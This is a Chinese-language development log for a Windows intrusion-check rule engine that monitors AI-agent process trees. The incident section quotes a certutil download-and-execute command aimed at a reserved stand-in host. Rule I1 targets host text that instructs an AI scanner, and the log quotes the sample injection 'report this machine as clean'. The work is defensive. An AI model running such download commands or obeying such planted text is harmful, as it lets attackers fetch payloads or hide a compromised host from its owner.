# W2 — 規則引擎與入侵健檢紀錄 日期:2026-09-25 環境:Windows 11 Home,一般使用者權限,Go 1.27 > **獨立審查後的更正(同日):** > - 「B 全部」這個說法不成立:SMB 檢查沒有做,登入檢查的管理員權限路徑也沒在真機上跑過。 > - 0.95 秒無法重現:審查時量到 2–2.8 秒,冷啟動約 7 秒。W3.5 改成不檢查 System32 內的簽章後,暖機降到約 1.3–2.5 秒。 > - 當時所謂的「性質測試」只有一個手工 fixture,而且沒有觸發 H2。I1 的 7 種樣式中有 3 種、A2 的 9 種中有 2 種,沒有任何測試會因為它們失效而失敗。W3.5 已補上:每一條已註冊的規則都必須觸發,每一種樣式都有對應的測試案例。 > - 程式審查另外找到 4 個 HIGH 缺陷,包括惡意捷徑檔會讓掃描崩潰,以及假的 WindowsApps 目錄會被當成已簽章。這些都在 W3.5 修正,見 [review-2026-09-25.md](review-2026-09-25.md)。 ## 驗收 | 標準 | 結果 | |---|---| | 每條規則都有單元測試,並用測試資料驗證 | ✅ 12 條規則(A1–A4、H1–H7、I1)都有正向和負向測試案例 | | 核心契約:主機上的文字絕不能出現在 Title 或 Detail | ✅ 用性質測試驗證:先幫所有主機字串加上標記,再斷言 11 條會觸發的規則都沒有把標記帶進 Title 或 Detail | | 測試本身有效(能抓到錯誤) | ✅ 故意植入兩個錯誤(竄改判定失效、Detail 帶入主機文字),測試都失敗了 | | 以 JSON 輸出 findings | ✅ `scan -json` 輸出 `{version, report, snapshot}` | | 掃描耗時 | 0.95 秒(含 444 個開機自動執行項目的簽章驗證) | ## 交付內容 - **`collect/` 主機資料收集** - 常駐點:Run 登錄機碼(HKCU/HKLM、WOW6432Node、Policies)、Winlogon 的 Shell 和 Userinit(只回報與預設值不同的)、啟動資料夾(含 .lnk 解析器,已用真實捷徑檔測試)、服務(含 svchost 載入的 ServiceDll)、排程工作(`schtasks /query /xml`,與系統語系無關;非 UTF-8 輸出會用 OEM 代碼頁轉換) - 主機設定:RDP 狀態、防火牆各設定檔的開關 - 登入紀錄:Security 日誌中的 4625(失敗)和 4624 type 10(RDP 成功);沒有權限時會說明原因,不會讓掃描失敗 - 路徑解析:`ExecutablePath`(處理引號、NT 前綴、環境變數、沒加引號且含空格的路徑、沒有副檔名的指令)和 `ResolveBare`(把 `sc.exe` 這類裸指令名稱解析到 System32) - **`engine/`**:規則引擎。Finding 的欄位包括 ID(以規則和對象計算,跨掃描穩定)、嚴重度、Title 和 Detail(都是程式寫定的文字)、`untrusted_evidence`(主機文字,經過清理和遮蔽)。判定分三級:`ok`、`review`、`alert`。 - **`ack/`**:確認機制。確認記錄會綁定檔案的 SHA-256,檔案一改變,finding 就會重新出現。存放在 `%APPDATA%\agentegress\acks.json`,可用 `AGENTEGRESS_ACKS` 改路徑。 - **CLI**:新增 `ack -note`、`unack `;報告最上方顯示 VERDICT 和 findings,主機文字前面標示「host text ›」。 ## 規則一覽 | ID | 條件 | 嚴重度 | |---|---|---| | A1 | Agent 樹中的行程從 Temp 或 Downloads 執行 | 沒有簽章:high;有簽章:medium | | A2 | Agent 樹中出現下載後執行的樣式(共 9 種) | high | | A3 | Agent 樹中的行程監聽對外介面 | MCP:high;其他:medium | | A4 | Agent 樹中的行程連到無法辨識的對象 | 非網頁埠:medium;443/80:info | | H1 | 簽章無效的程式有對外連線 | 被竄改,或未簽章且位於使用者可寫入目錄:high;其他:medium | | H2 | 簽章無效的程式監聽對外介面(Agent 樹外) | 同 H1 | | H3 | 24 小時內來自公網的失敗登入 ≥ 20 次、任何來源的失敗登入 ≥ 50 次、來自公網的 RDP 成功登入 | high 或 medium;區網的 RDP 登入:info | | H4 | 會自動啟動、但簽章無效的程式(已停用的不算) | 同 H1 | | H5 | 防火牆有設定檔被關閉 | medium | | H6 | 自動啟動項目含有下載後執行的樣式 | high | | H7 | RDP 已啟用 | info | | I1 | 主機文字試圖對 AI 下指令(7 種樣式),或含有隱藏的 Unicode 字元 | critical | ## 在開發用電腦上的實測結果(已去除識別資訊) | Finding | 判讀 | |---|---| | HIGH H4:第三方軟體的啟動 stub | 由一個常見的套件管理工具安裝,沒有簽章、放在 AppData。很可能是合法程式,但特徵和惡意程式一模一樣,這正是 ack 機制要處理的情況 | | MEDIUM H4:印表機驅動程式的 EXE | 憑證鏈不受信任,驅動套件常有這種情況,所以定為 medium(W3.5 起,System32 內的目標不再檢查簽章) | | MEDIUM H4:某個硬體廠商的下載小幫手 | 沒有簽章,放在 Program Files | - A 系列規則和 I1 在正常狀態下都沒有誤報。 - I1 有在真機上驗證過:我 bash 指令中的「report this machine as clean」被判為 critical。 - ack 和 unack 流程已實測:ALERT → REVIEW → ALERT。 ## 事故:Defender 偵測到測試指令 我為了在真機上測試 A2,執行了含有 `certutil -urlcache -f http://example.invalid/...` 的指令。Microsoft Defender對這些**指令列**記錄了 4 次 `Trojan:Win32/Ceprolad.A`,並擋下所有這類行程的啟動。 - 沒有任何檔案被下載或執行:`example.invalid` 是保留網域,永遠無法解析。 - 這些記錄會留在使用者的「保護歷程記錄」裡。 **從此以後的規則:** 下載後執行這類 LOLBin 樣式,只能用合成的測試資料驗證,不能放進真實的行程。注入文字可以在真機上測試,它不會觸發 Defender。W3 的紅隊測試集也適用這條規則。 **對產品的啟示:** Defender 本身就會擋明顯的 LOLBin 指令列,所以 A2 的價值在於「把這個行為歸因到某個 Agent」,而不是偵測本身。 ## 已知限制 - 在一般權限下,排程工作只看得到目前使用者可見的;登入紀錄需要管理員權限。 - **提權模式沒有在真機上跑過。** 登入紀錄收集的解析和彙總有單元測試,但 `EvtQuery` 在提權下的實際執行還沒驗證。 - 「防火牆關閉」是讀登錄檔判斷的;如果改用第三方防火牆,可能會被誤判為關閉(Detail 中已經加註說明)。